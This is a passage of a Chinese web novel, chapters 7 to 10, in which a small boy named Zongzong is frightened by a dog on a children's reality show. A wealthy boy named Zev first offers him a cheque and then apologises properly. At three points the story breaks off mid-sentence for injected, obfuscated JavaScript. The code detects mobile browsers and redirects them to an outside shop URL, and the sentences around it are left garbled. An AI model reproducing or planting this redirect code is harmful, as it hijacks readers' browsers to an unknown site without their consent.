《咸鱼摆烂崽遇上高冷主角崽》 7. 第 7 章 粽粽慢吞吞地前行,早知道是需要运动的节目,就不响应那么快了。 他背着重重的包,还得举着重重的对讲机,长途跋涉。 掏出小铁锹,在第一个地点开挖。 果然逐渐现出一点箱子的金属边,但他力气实在是太小了,压根挖不动。 余光忽然瞄见了路过的Zev,立刻叫住:“小天哥哥!” Zev似乎并不准备找箱子,不知道要去哪里,听到呼唤之后,稍稍停了停。 “帮帮忙好吗?”粽粽擦擦汗。 Zev还没答话,就见粽粽把小书包卸了下来:“你帮我看着我的书包。” “......” 粽粽趴在地上努力挖呀挖,站起来挖呀挖,撅着小屁股挖呀挖。 终于,扒拉出来一个箱子。 他腿一软,习惯性伸手撒娇:“牵牵。” 肉乎的小手停留在空中,上面都是汗水,显得湿漉漉。 【勤劳宝宝】 【我们粽粽是最棒的!】 【Zev快给人家拉上来,别让我求你】 Zev顿了顿,左右看一圈,发现周遭似乎只有自己一个人,才意识到粽粽有可能是在和自己说话。 对方看上去已经累得不行,于是本着人道主义精神,Zev皱着眉,把那只都是汗的小手拉上来。 倒是软绵绵的,捏起来像小狗爪子的爪垫。 他忽然想起来自己还有事儿,趁着粽粽研究箱子的时候深藏功与名地离开了。 粽粽获得了第一个积分牌。 跟着对讲机里走走停停,他的积分牌越来越多。 直到这回盛坻和林雪客指挥他路过花坛下,粽粽忽然一顿。 被绑架的回忆涌入脑海,上次就是在此处被拦截。 这里有个深深的大陷阱。 他停下脚步,警惕地四处观察。 在稍作犹豫后,选择绕行。 室内屏幕前,看着粽粽行动轨迹逐渐呈现弧形的林雪客和盛坻满脸问号。 【?忽然失控的粽粽】 【好迷你,像那种探险任务里的Q版小人】 【小人现在要远航了】 粽粽本想绕过那个可怕的战壕,但拐弯之后对方向产生了迷失。 越行越远。 周围节目组的记号也越来越少,变得有点陌生。 只有一架跟拍的无人机在他周边随行。 “这是去哪里了?” 林雪客和盛坻能从屏幕里看到的视角有限,刚下对讲机商量着如何回到正确的轨道。 “朝右走吗,右边好像近一点。” “不对。左边好,从那个斜的石子路出去。” “那上面障碍物太多了,粽粽不行吧。” 他俩讨论得热火朝天,粽粽的小腿一刻不停地在迈动。 不知不觉间,小小的点儿已经移动了大段距离,穿过小路翻过喷泉跨过栅栏,偏离了节目组划定区域。 直到筋疲力尽地坐在原地。 摸出包里的对讲机“喂”了几声,没有人理他,于是随手拍了拍,便搁在一边。 这里风景好漂亮,像爸爸妈妈带他去的公园一样。 可以看到蓝蓝的天空,黄绿的小草,五彩的小花,喷泉在阳光下显得水流清澈,发出好听的声响,还有背后的大别墅,也像图画里的房子一样。 好想拍照片发给妈妈看。 沉浸在美景中的粽粽忘却一切,仰着脸认真观看。 忽然感到脸上湿乎乎,疑惑地抬手摸了摸,一转头,立刻陷入静止。 一只硕大的灰色大怪兽出现在他的面前,刚刚伸舌头舔了一下他的脸。 大怪兽好奇地看着他,试探地“汪”了一声。 【好家伙,怎么有一只大狗】 【我知道刚刚那个栅栏是干啥用的了,应该是一半提供给节目,另一半不开放,粽粽因为太矮小直接穿过来了】 【虽然这狗看起来挺温顺,但小粽粽还没有狗大】 【狗:好香甜的粽粽】 大狗抬起一只爪子,在粽粽肩膀上拨弄一下。 “我去,这有只狗!” 争论完之后的林雪客和盛坻在对讲机没得到回应,刚打开屏幕,就一眼就看到了险情,向导演组报告。 顾乾过来看了一眼,拧起眉头:“这是我养的宠物狗,不会咬人。但特地用绳子拴起来的,不知道为什么会在外面。我去看看。” 盛坻跟着大步朝外走,忍不住质问一句导演组:“别的组都有工作人员跟着,为什么没给粽粽安排?就因为是素人孩子吗?” 此刻,粽粽脑海中已经回忆起了自己短小的不到三年的人生,回忆起了自己的爸爸妈妈,回忆起了一切的一切。 诸多不公涌上心头,他明明是个听话的小朋友,邪恶顾傲天却要让他流落街头。 他明明在尽力完成任务,却被大怪兽逮到了。 不重要了,债见。 周围的一切慢慢失去声音,只剩下这只可怕的怪兽,红红的舌头又伸了出来,准备吃掉孤立无援的他。 “Zeus!” 直到一声喊,粽粽抬起头,发现了跑过来的顾傲天。 他几乎热泪盈眶,从未如此期待过这个身影的到来。 室内准备出门救援的嘉宾和工作人员也停住了动作,还有观看节目的观众们,大家屏住呼吸,一眨不眨地看着这一幕。 Zev拽住狗的后颈,低声呵斥了两句。 再把手里的项圈熟练地套在狗脖子上,狗就立刻趴下不动了。 无人机飞了个特写,原来这是一只刚成年的陨石边牧,身高体长,威风凛凛,此刻见到Zev却变得很乖顺。 但仍不放弃伸爪,试图摸一摸粽粽。 粽粽惊魂未定,直到看见大怪兽被Zev完全控制住,才敢蓄起眼泪,“哇”地一声哭了起来。 这些天悲伤的事实在太多,他都一直坚强地忍耐着,现在不管不顾,尽情哭泣。 圆圆的嘴巴像一个没有底的黑洞,把旁边的小狗和Zev都看呆了。 小狗默默放下自己的爪子,舔了舔。 Zev有些无措,不知该如何处理这从未见过的场面,只能苍白道:“你...你别哭了。” 粽粽充耳不闻,哭得非常投入。 观众们也仅从跟拍粽粽的无人机里看到了模糊画面,并没有声音,只能对情况进行推测。 【55555可怜的粽粽】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16142753|180439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【大狗惊魂记,谁看到都害怕吧】 【节目组也有问题,就放这么小的娃一个人活动】 【其实封好区域的话花园确实没啥危险,但栅栏设置得过高了】 【应该是Zev把小狗绳解开,放在这个区域玩,偶遇了误入此处的粽粽】 【真相了】 “你别哭。”Zev不知无力地重复了第几次。 “呜呜呜。” “......” 粽粽长长的睫毛上挂着一串串泪珠,顺着弧形的脸颊鱼贯而下。他本来皮肤就白,眼圈儿红得特别明显,额前的头发乱七八糟地堆在额头上,被汗珠粘得东一缕西一撮。 看上去可怜兮兮,一副受了欺负的样子。 两个罪魁祸首并排站在他面前。 小狗转头看看Zev,示意这个唯一会说话的人去积极解决问题。 Zev冷静思索,他较短的人生阅历里从来没有遇到过这样的事儿,但或许可以举一反三。 在他脑海里,只有曾经父亲开车撞到人的处理方式可以借鉴。 于是试探着上前一步,问道:“你要多少钱。” 粽粽:“......” 他真的生气了。从小饱览电视剧的他知道,这是一种很严重的羞辱。 果然如同小说里一样,这个顾傲天就是一个狗资本家,一个大坏蛋。 亏自己还用善良真诚的方式对待他。 麻麻说过,有些坏人不值得同情。 看到圆圆的黑洞变小了,Zev以为奏效,便继续道:“时间就是金钱,你直接说一个数字。” 他想了想,又结合现实情境进行改编:“我现在没带,但是我回去可以让管家给你开支票。你想摸摸小狗...” 粽粽擦擦自己的眼睛:“250。” 决绝地转身离开。 综艺的大人嘉宾和工作人员也已经赶到,盛坻把粽粽抱起来,捋了把他的头发,给他塞了几块糖。 还是这招好使。 甜甜的水果味充满口腔,具有丰富的层次感,让粽粽的心情也好了不少。 在盛坻怀里窝了一段时间,小腿儿重新开始晃动。 【还是我们粽粽好,不记仇!】 【节目组快点道歉然后加强安全意识】 【节目组老操作了,素人娃上这个节目纯纯受气】 另一边,顾乾把狗拴到狗屋里,锁上门,冷着脸通知Zev:“你必须要靠自己得到那个小朋友的原谅。” 他猜都能大致猜出Zev是怎么解决问题的。 “他原谅我了。”Zev漫不经心地说,“现在需要一张支票,我用爸爸的方式解决了问题。帮我联系陈叔,或者你先帮我签一张支票。就250万。” 顾乾的神色变了变,但很快恢复如常:“别的我不管。我指的是你道歉,让对方说没关系。” “这还不容易,只要钱给到位,说三个字有什么难的。” “时璟承。”顾乾严肃起来,“钱并不是万能的。我不知道他们影响了你多少,但你现在还小,我希望你能建立正确的价值观,这是我把你接到这里的主要原因。” “让小朋友真心实意地原谅你,别让我后悔,可以吗?” 8. 第 8 章 粽粽因祸得福,剩下的时光都在室内度过。 被搁在沙发上,倚着靠背,认真数着自己的糖。 刚刚板栗葛葛给了好几块,他只吃了两块,剩下的打算攒起来。 工作人员在他面前来来回回,和导演低声交流。 网上已经涌现出一些舆论,指责节目组安全管理没有到位。 【太过分了,那么大的一只狗,别说小孩儿,就是怕狗的成年人都吓够呛】 【好离谱,明明是个有娃的综艺,结果栅栏做那么高,到底拦谁的】 【就欺负素人娃呗,要是Zev被吓了早就道歉一百八十次了】 【赶紧整改!】 节目组公关很快发布声明整改,派人对未开放领域进行清晰规划和整改。 “吓到你了,粽粽。”导演走过来。 粽粽匆匆伸手护住散落在沙发上的糖果,装进口袋里。 邪恶大手抚上他的脑袋,摸了摸:“我们已经加上了指示牌,你下次要小心,别再迷路了。” 话里还是藏着点机锋,暗示粽粽是自己迷路的。 林雪客听了感到不太舒服,但粽粽确实是个素人娃,他和盛坻在圈里也毫无背景和靠山,早就明白弱肉强食的道理。 暗中握握拳头,隐忍下来。 粽粽却压根没听明白那么多,揣好糖之后便扭了扭头,试图甩掉这只大手。 发现压得还挺实,一时间无法挣脱。 于是奋力斗争。 完全没注意到Zev什么时候来到他身边。 递给他一张纸片:“粽粽,和我说没关系。” 粽粽:“......” 他停下动作,难以置信自己听到了什么。 暂时也顾不上头发还被导演压着,柔软蓬松的发丝堆叠在脑门上,配上睁大的双眼和鼓鼓的脸颊,显得呆呆的。 【导演能不能松手啊,给我们粽粽压成ZIP格式了】 【Zev和粽粽说什么呢,这有点不讲道理了吧】 【等等,Zev手里递的是啥啊,这张纸怎么有点熟悉】 【有点像传说中的支票】 【???】 导演离得最近,目光紧紧盯在那张小纸片上。 个,十,百,千,万,十万...... 如果拿出这张支票的不是顾家小儿子,他一定会以为只是小孩过家家。 但下面龙飞凤舞地签了顾乾的名字,没人不认识这个签名。 他忍不住伸手;“这太儿戏了,我看看。” Zev手一收,抬头冷冷地望他一眼:“用不着。” 导演顿了顿,讪讪地找个借口离开。 头顶终于重获自由的粽粽在自己脑袋上拍了拍,塌下去的发型又变得完美。 “我不要和你说没关系。”粽粽告诉他。 Zev不信:“你看看这张支票。已经满足了你的开价。” “我没有开价。” “你说了250。” “我那是...”粽粽的脸忽然变得有点红。 妈妈叮嘱过他不要骂人,当时实在太生气,不小心脱口而出。可现在顾傲天当着镜头和其他哥哥的面揭穿了他,让他很不好意思。 他抿起嘴,不说话了。 Zev以为他心虚,冷哼一声。 这样的人他见多了,欲擒故纵。 所有人都是为了钱吵来吵去,之所以总怕他或者恭维他,也是因为他家里有钱而已。 于是起身,将支票丢到粽粽面前:“拿去花吧。和我说没关系。” “小天哥哥,我不会和你说没关系。”粽粽站起来。 “我本来没有生你的气。你也不是故意想吓唬我,而且小狗也没咬到我。”粽粽把支票还给Zev,“但是你羞辱了我,我觉得有关系。” Zev一愣,没有接:“你是不是怕有诈?既然给你肯定不会...” 粽粽把手里的支票缓缓对折,撕了两道,丢到垃圾桶里。 Zev:“......” 他两道眉毛微微上挑,富有肉感的侧脸紧绷,露出圆润的弧度。 【Zev:他好特别】 【Zev:他和别的小孩不一样】 【Zev:有点意思,你引起了我的兴趣】 【Z总和他的在逃小粽粽】 【笑死了,什么古早玛丽苏剧情】 【不笑了,截屏发现支票是真的,而且起码七位数】 【转农村频道】 【Z铁牛和粽翠花】 Zev看着垃圾桶,隔着墨镜都能体现出震惊。 同时一阵茫然,看起来很淡定,实则已经没招了。 他刚刚满口答应了顾乾会轻易地让粽粽说出没关系,自信地让管家弄来了这张支票。 没想到会发生这样的事。 他可能要对顾乾食言了。 外面忽然一阵响动,是小月亮和成深野带着积分回来了。 “粽粽,听说你被狗吓到了。”小月亮来慰问他。 今天小月亮穿了一身白色的运动服,马尾高高扎起,充满运动感。 因为她比粽粽高上一些,身形修长,背着装铁锹和工具的包反而成了加分项,让她充满活力。 “我没有事。” 粽粽仰脸看着,觉得她好漂亮。 “你也找了不少,我们一起数数谁的更多。” 小月亮把粽粽和成深野叫过去,一起加减法了一番,目测是小月亮积分牌数量最多,不过上面还有不同的积分数字,他们暂时无法在短时间内完成如此复杂的计算。 粽粽不会加减法,主要是围观小月亮和成深野。 玩了一会儿,回身才发现Zev还待在沙发原处,显得很孤单。 下午的Zev换了身装扮,依然是昂贵潮牌,外表无可挑剔,此刻却衬得人更寂寞。 把他遗忘在这里的粽粽无端感到一点愧疚。 在前面近距离绷起小脸走了两圈,没有被叫住。 于是慢慢挪过去,扣了扣沙发垫:“闹矛盾之后如果你做错了,你要说对不起的。” 他低着脑袋,肉乎乎的脸颊上还留着泪痕。 Zev看着他,拧起眉,不费吹灰之力地说三个字会有什么用? “对不起。” 没想到粽粽听了之后立刻抬起头,睁大眼睛。 “对不起,粽粽。”粽粽教Zev。 “对不起,粽粽。”Zev说。 “我下次不羞辱你了。” “我下次不羞辱你了。” “我也不会把你赶走,让你流浪街头。” “我也不会...”Zev一顿,“?” “没事。”粽粽转移话题,“没关系小天哥哥,我接受你的道歉。” 粽粽很高兴,张开小手抱了抱Zev: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16142754|180439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “和好吧。” 【自己哄自己】 【哈哈哈哈还把自己哄高兴了】 【魂穿Zev,粽粽抱起来手感肯定很好】 【啊啊早就想魂穿盛坻了,每天可以抱着一个粽粽】 【粽粽和别人肢体接触的时候好自然,一看在家里就经常被抱着】 【喜欢贴贴的小崽一枚】 “好了小朋友们,一起来统计下今天的结果吧。” 导演举起喇叭打断一切,于是各组再次来到餐桌前齐聚,将要公布今天下午游戏的胜利者。 除了Zev,其他人面前都有积分牌。 “Zev,你怎么没有去找?”导演问道。 Zev从口袋里掏出一个,丢在桌上:“我觉得不太公平,这里是我家,对我来说比别人难度低。” 游戏设计难度有一点在于对陌生地形的探索,确实是明显地在偏向Zev。 导演谦逊道:“会整改的。” 又把其他人的数字牌加了加,最后小月亮获得胜利,成深野第二,粽粽第三。 粽粽给小月亮鼓掌。 “我们的奖励和今晚的晚饭有关,小月亮一家可以吃超豪华大餐,依次递减。” 超豪华大餐被运送上来,有芝士大龙虾,香煎法式鹅肝配哈密瓜,黑松露鱼子酱蛋糕,诱人的香气立刻装满屋子。 也装满了粽粽的鼻子。 虽然他还坐在座位上,但脑袋努力前伸,眼睛睁到最大。 【笑死了,眼睛好圆啊,像一只震惊小猫】 【可算是拿捏到粽粽的软肋了】 【瞧这事儿整的,早说奖励是这个,粽粽完成任务的时候肯定跑得比博尔特还快】 第二名的菜品也不赖,红烧排骨,糖醋里脊,放眼望去不少肉。 粽粽的眼神跟着装菜的小推车来来回回。 直到第三名的菜进来,粽粽面前被发放了一碗蛋炒饭。 很单纯的蛋炒饭。鸡蛋和大米饭炒,其他都没放。 粽粽不愿相信,继续等待。 却什么都没有等到。 “吃吧。”盛坻把勺子给他拿过来,“蛋炒饭多好吃。” “蛋炒饭是很好吃,如果我没有见到红烧排骨。”粽粽叹口气。 【《我本可以忍受黑暗,如果我不曾见过光明》】 【哲理粽】 【艾米丽·迪金粽】 【他甚至选的是红烧排骨我哭死,没有选波士顿大龙虾】 【很容易满足的崽,能不能给他一块排骨,导演算我求你】 “不可以。”导演拒绝了成深野妈妈的提议,“只能自己吃自己的。” 申茉只得把排骨夹回去。 “谢谢姐姐,我不用。” “姐姐?”这话把申茉夸得合不拢嘴,十分受用。 粽粽埋头吃自己的蛋炒饭,其实也挺香的。 就是好像放的时间有点久,吃起来粘粘的,没有那种Q弹饱满的颗粒感。 排名最后的Zev组则获得了几片全麦面包。 不过他们对美食都没什么太大好奇,带着一种欲望早已被满足的无所谓感,反倒觉得清淡而随便吃了两口。 只惩罚到了粽粽一个人。 在今天的直播结束之前,导演甚至把嘉宾吃剩的饭菜都收拾完,杜绝偷吃的可能性。 粽粽放下筷子,离开餐桌的心情头一回有些伤感。 9. 第 9 章 “Zev,今晚你睡在这间房里。” 顾乾把娃抓过来。 “我不。”Zev拒绝,“我有自己的房间。” 除了刚被接到顾乾这儿的那两天,Zev都是独自住的。 当然也是因为顾乾很少在家,忙起来连人影都见不到一个。 Zev已经换上了最喜欢的黑色真丝睡衣,摘掉墨镜,准备玩一会儿就寝,非要被顾乾拎到节目组准备的房间里。 “我已经够配合了,上这个愚蠢的节目做一些愚蠢的事情。” “诶——你不戴墨镜的时候更帅了,和你哥长得真像。”邵晚熠抱臂靠着衣柜,饶有兴致地打量这个小玩意儿。 这是一整天中Zev头一回拿下墨镜,冷淡的眉目简直就是顾乾的迷你版。 这事儿他早就知道,无论是传闻中“你有个哥哥,你和他很像”,还是来这之后耳朵都听起茧的话,都让Zev明白了这个事实。 但明白不等于接受,从此之后墨镜就焊在他脸上了。 如今一疏忽,竟然又被说了一次。 Zev翻了个白眼,小声嘀咕:“还见一些愚蠢的人。” 顾乾在他后脑上拍了一下:“注意礼貌。” Zev切成英语说了一句:“他当初甩你的时候怎么不注意礼貌。” “你误会了。” 顾乾淡淡丢一句,进了浴室。 邵晚熠听不懂英文,看着Zev,笑道:“一些愚蠢的人?包括那个小棉花糖吗?” Zev顿了一下。 “他好像挺喜欢你,你哥应该希望你能在节目上交到朋友。” “我不需要朋友。”Zev立刻说,“强者总是一个人,弱者才结伴同行。” Zev抓起被顾乾拿过来的小毯子,转身准备离开。 邵晚熠不置可否地耸耸肩,放低声音:“可以。那你去一个人睡觉吧,我要和你哥一块睡了。” “……” Zev停住脚步。 “休想。” Zev转了回来。 把小毯子朝床上一丢,自己躺上去:“请你去别的地方去。” “请的没诚意啊。”邵晚熠唇边挂着笑,戏谑地低头看这个小家伙,“是不是你哥让你对我有礼貌来着,你其实挺听话的。” Zev捏紧拳头,表情冷冷。 邵晚熠见好就收:“节目组没准备多余的床铺,除非你让我去你房间睡。” Zev稍作思考,冷着小脸回到自己的房间,收起质地丝滑的高档床单,在柜子底下翻了翻。 翻出一床画着卡通小熊的天蓝色床单,丢到床上:“你只能睡这个愚蠢的床单。” 这是他刚来这里时保姆准备的,被压在了黑暗的柜底。 一只只微笑小熊造型憨厚可爱,做着不同的动作。 邵晚熠:“……” 一会儿之后,从浴室出来的顾乾擦着头发,湿漉漉的眉目透着股禁欲的性感,他看了一眼床上斜躺的Zev,把他挪正。 Zev眯着眼,嘴巴动了动。 “时璟承,答应我的事情做没做到?” “嗯。”Zev哼一声。 “小朋友和你说没关系了?” “嗯。” “怎么做的,靠那张支票?” Zev咕哝:“没有,我和他说对不起了。” 顾乾颇为意外地挑挑眉,站在床边,看着半睡半醒的小脸,伸出手,用指腹蹭了下脸颊。 Zev皱起眉头,睁眼瞄了一眼,看到立在前面的顾乾,完全吓清醒了。 顾乾竟然在摸他的脸。 被附体了。 这是他第一反应。 但睁开眼之后,顾乾早已收回了手,刚刚又好像一场错觉。 “你零食柜里的零食不吃也要过期了,去找出来,明天分给小朋友。” 管家每次都会在Zev的房间里准备零食,但是Zev 拒绝食用愚蠢的儿童零食。 “不。” “那我去。”顾乾转身就要朝Zev的房间走,让Zev猛然想起自己屋里还有个不速之客。 未避免两人接触,Zev飞快地跳下床,抢在顾乾前面出了门。 那个可恶的人果然正霸占着他的床,而且神情悠然,还找到了和床单一样图案的蓝色卡通熊被子盖着。 Zev在他眼皮底下拿出自己的零食,瞥了一眼:“愚蠢而幼稚。 “好可爱呀。” 另一个房间里,林雪客捏着粽粽的小胳膊,看他换上的睡衣。 湛蓝的主色衬得皮肤更白,圆圆的肚子正好对应着卡通狮子脑袋,有几分3D立体效果。 林雪客忍不住摸摸捏捏,像玩一个小玩偶。 粽粽兴致不高地趴在他怀里,后脑勺的头发都蔫吧了。 “怎么了粽粽。” 粽粽悲从中来。 他已经很久没有像今天这么累过了,小胳膊和小腿泛着酸痛,仿佛还在卖力奔跑。 他还想念亲爱的爸爸妈妈,想念美妙的故事时光。 还有每晚一杯香甜的热牛奶。 对了,说起牛奶—— 粽粽望着林雪客,摸了摸自己空空的肚子,饥饿感如同蚂蚁啃咬一般密密麻麻地涌上心头。 晚上只吃了一小碗黏黏的蛋炒饭,早就没有了。 林雪客看他这个动作觉得好玩,也摸了摸,捏一下:”肉肉的。“ 粽粽:”……“ 他翻过身,一动不动。 盛坻对着镜子捋了一把栗色头发,回身就看到一小坨粽粽,背影仿佛失去所有力气和手段。 他立刻笑着把粽粽抱起来:“我们粽粽体型最匀称了,不胖也不瘦。而且还这么自律,一定可以保持好身材的。” 忍不住也在粽粽脸上盘了两下。 “睡觉吧,给你讲几个我们小时候的经典故事。” 粽粽重新趴在盛坻肩膀上一动不动,默默闭上双眼。 他在饥肠辘辘和悲伤中入睡。 第二天一早,林雪客和盛坻先醒来,看到粽粽小眉头紧锁,手握成拳头,短小的腿前伸着,呈现深深的防御姿势。 “这是梦里和谁打架呢。” 他们正准备伸手调整,又见粽粽开始变换,慢慢把自己缩成一个团。 两只小胳膊交叉抱住自己,双腿屈起,转动一定角度。 看上去可怜兮兮的。 “看来是打输了。”盛坻推断,“在抱头投降呢。” 两人都笑了起来。 殊不知,此刻的粽粽正在梦里流落街头。 他的脸上满是黑黑的灰,穿着一件红色帽子的灰卫衣,但是衣服已然残破不堪,无法抵御寒风。 饥饿,寒冷,忧伤深深包裹了他,只能无奈地从口袋里掏出一盒糖果。 挨个恳求路人:“买我一块糖吧。” “不买!哪儿来的小叫花子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16142755|180439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 对方打翻了他的糖果。 定睛一看,竟是那个坏坏的导演,大胡子随风飘荡。 粽粽只能自己躲在避风的角落,颤抖着从盒子里拿一颗糖果吃。 还没吃到嘴里,忽然面前的窗户里传来了笑声。 里面温暖的火炉熊熊燃烧,桌上摆着丰盛的美味佳肴,有红烧排骨,糖醋排骨,大龙虾还有狮子头,西瓜等。 再一看,顾傲天正靠在椅子上翘二郎腿,手里摇晃着一杯牛奶: “粽粽肯认错了吗?” “还没有。”有人回答。 “再饿两天!”顾傲天小手一挥。 “补药哇。”粽粽隔着厚厚的玻璃大喊,但声音却无法传入室内。 阳光逐渐从窗帘缝隙透入一点儿,熹微的晨光印亮天际。 “粽粽认错了。” 他一骨碌爬起来,看到了林雪客和盛坻。 立刻张开小手,被抱进怀里。 “做噩梦了小粽粽?” 节目已经到了开播时间,大量弹幕涌入直播间。 【怎么一大早起来就撒娇啊】 【做饿梦了】 【好可爱的小衣服,想给粽粽玩换装游戏】 【奇迹粽粽】 粽粽被换好衣服,走出房间,一眼就看到了罪魁祸首顾傲天。 换了款儿童墨镜戴着,遮住大半张脸,露出抿紧的唇。 这几天玩得太投入,忘记了顾傲天才是这一切的主角崽。 这一个可怕的梦点醒了他。 “小天哥哥。”炮飞粽粽打招呼。 “嗯。” 早餐被工作人员端上来,香喷喷。 于是粽粽暂时顾不上其他,立刻坐下大快朵颐,有食物下肚的感觉真好。 导演举起喇叭:“亲爱的小朋友们早上好,转眼又见面了。大家昨晚睡得好吗?” 小月亮和成深野都点头,粽粽盯着导演的胡子,默默摇了摇头。 Zev依然处于掉线状态。 “好的,相信大家都休息得不错,那么接下来就可以充满活力地面对崭新的一天。 昨天举行了以个人为单位的作战,胜利者是小月亮。今天就要两两分组,展开团队战。” 导演用大屏幕展示规则:“上午文斗,下午武斗。” 所谓文斗就是智取,一共分成两组,一组需要将指定物品藏起来,另一组需要找出,如果在规定时间内全部找出,则寻找组获胜。 大屏幕上的字密密麻麻,像是天书。 这个环节一般都是由导演介绍给大人嘉宾听,再由大人嘉宾转述给小朋友。 所以小孩子都在底下自由活动,小月亮尝试给自己扎起马尾辫,成深野在回复电话手表的消息。 Zev 在沉思。 昨晚顾乾给他下了任务,今天要把零食分给其他人吃完。 但他并不想和任何人说话。 感到有视线看着自己,Zev不耐地望了望,下凳子准备去沙发思考。 谁知有个小身影应声而下,随着一起跳下凳子。 Zev走了两步,发现那个身影如影随形。 朝左挪动,对方也朝左。 朝前两步,对方也朝前。 猛然停步,“咚”一声,软软的炮弹撞击了Zev 。 “……” Zev回过头,看着捂住鼻子的粽粽,拧眉:“你跟着我干什么?” 10. 第 10 章 粽粽先抬起一只手,手背向着Zev,示意他等一下。 然后用食指和大拇指,认真从两边捏了捏自己的鼻子,试图重新塑形。 总觉得手感不太对,仰起脸闭着眼问Zev:“是不是被撞扁了。” Zev瞥了一眼:“本来就是扁的。” 粽粽作为一个小孩,鼻骨还没有完全发育,Zev只是实话实说。 “......” 粽粽放下手。 这个顾傲天有点没情商。 不过念在他是主角,粽粽什么都没有说,不过还是睁圆眼睛盯了一会儿。 【笑死我了,粽粽的眼睛会说话】 【粽粽:我真懒得说你】 【不过目前粽粽的鼻梁和Zev比起来确实不值一提】 【Zev建模真是逆天,长大之后说不定比他哥还帅】 粽粽换了个话题:“小天哥哥,你要去干什么?” “想事情。”Zev转过身。 “去哪里呀。” “沙发。” “我可以和你一起去吗?”粽粽跟上,颇为礼貌地问询。 “不可以。” 但说话间,已经到达了沙发。 Zev坐上去,开始自己的沉思。 他昨天把零食都转移到了茶几的抽屉里,塞得满满当当。顾乾说只要今天分享完,以后就不会再让管家准备这些无用的东西。 甚至可以按照他的心意更新房间格局。 这点还是很让Zev心动的,他房间里有很多难以忍受的地方。比如贴了呆头呆脑卡通人物的零食柜,幼稚低龄的玩具角,甚至还放了一个弱智秋千。 虽然Zev到这之后进行过一些力所能及的改变,比如改变床单颜色,但距离高品质成熟房间还差得远。 只需要处理掉这一抽屉的零食。 Zev知道顾乾不傻,偷偷丢掉这种事成功几率不大。但让他去和小朋友们其乐融融地分享这种极其愚蠢的事情,也是绝对不可能的。 要是能凭空消失就好了。 旁边的声音还在叽咕:“...那根本不叫蛋炒饭,真正的蛋炒饭是鸡蛋炒成金黄色,米粒要□□弹弹,再撒上绿绿的葱花,超好吃。我可以吃好多碗。” Zev转头,看着粽粽。 目光下移,今天粽粽依然穿了件卡通短袖,中间一个图案,粽粽能穿出圆圆的3D效果。 “。” “?” 粽粽被看得有点发毛,朝后靠了靠,直到紧贴沙发靠背。 这时导演及时道:“好了,规则介绍完毕,接下来开始分组。按照惯例,我们由昨天的最后一名先选择自己的组员。” 昨天的最后一名是Zev。 顾乾皱了一下眉。 先把娃拎回去,先简单说了几句规则,无非就是一组藏东西,一组找东西,他对Zev的理解能力没有担忧。 但接下来压低声音:“你必须在三个小朋友里选择一个。” 【哈哈哈哈预判了Zev】 【一看就是谁都不会选】 【最了解弟弟的还得是顾乾】 【至今依然未知顾乾用什么把Zev骗上了综艺】 【小酷哥】 粽粽也已被林雪客抱回去,正在盛坻怀里吨吨喝水。 刚刚的社交让他口干舌燥,讲这么多话实在是好累。 “粽粽,Zev会不会选你?”盛坻小声问他。 大家都知道和顾乾一组就意味着曝光和热度,大部分观众都关注顾乾和邵晚熠,讨论度高的不是一点两点。 所有人都挺期待Zev的选择,盛坻也顺嘴问问。 粽粽一边灌水,一边摇头。 一是每天的应酬时光不宜太多,二是他知道Zev会选择小月亮。 主角总要和他的白月光青梅竹马的。 今天的小月亮依然超级漂亮,给自己扎了个丸子头,像童话里走出来似的。 炮飞粽粽悄摸伸手,准备拿一块桌子中间的薄荷糖,这是导演组为大家饭后准备,摆在了正中间,在硕大的桌子上显得很遥远。 粽粽支起上半身,偷偷用胳膊试一下距离。 其他人则等待Zev的回答,屋里静可闻针,并不会注意到粽粽在做什么。 “我选他。”Zev说,从人群缝隙间捕捉到餐桌上的喜爱身影。 瞬间,齐刷刷的目光和镜头都对准了粽粽,捕捉了他伸出邪恶小手的瞬间。 “......” 粽粽的手在空中蜷了蜷,若无其事地抬起,整理一下头发。 【超绝不经意拐弯】 【收回的小肉手】 【饭后吃块薄荷糖怎么了,快给他吃块薄荷糖】 粽粽整理好头发,躲过这一茬之后,才意识到刚刚发生了什么。 Zev选择和他一组。 继上次摆果盘之后,命运又将粽粽捆绑了起来。 粽粽感到困惑,白月光和顾傲天的剧情怎么还没有开始走。 难道是单相思。 倒也正常,小月亮不需要做任何事,光是在那里就很耀眼。Zev害羞而选择他掩盖视听,也是人之常情。 炮飞的作用是这样的。 粽粽有点忧伤。 但节目组工作人员和导演的语气都仿佛粽粽捡了大便宜,其他大人嘉宾也表示祝贺。 粽粽本人的意见微不足道。 导演已经举起喇叭:“小朋友们,接下来开始游戏。我们藏物品的范围就在花园的指定区域里,出于公平,搭起了崭新的动画场景和道具布置。” 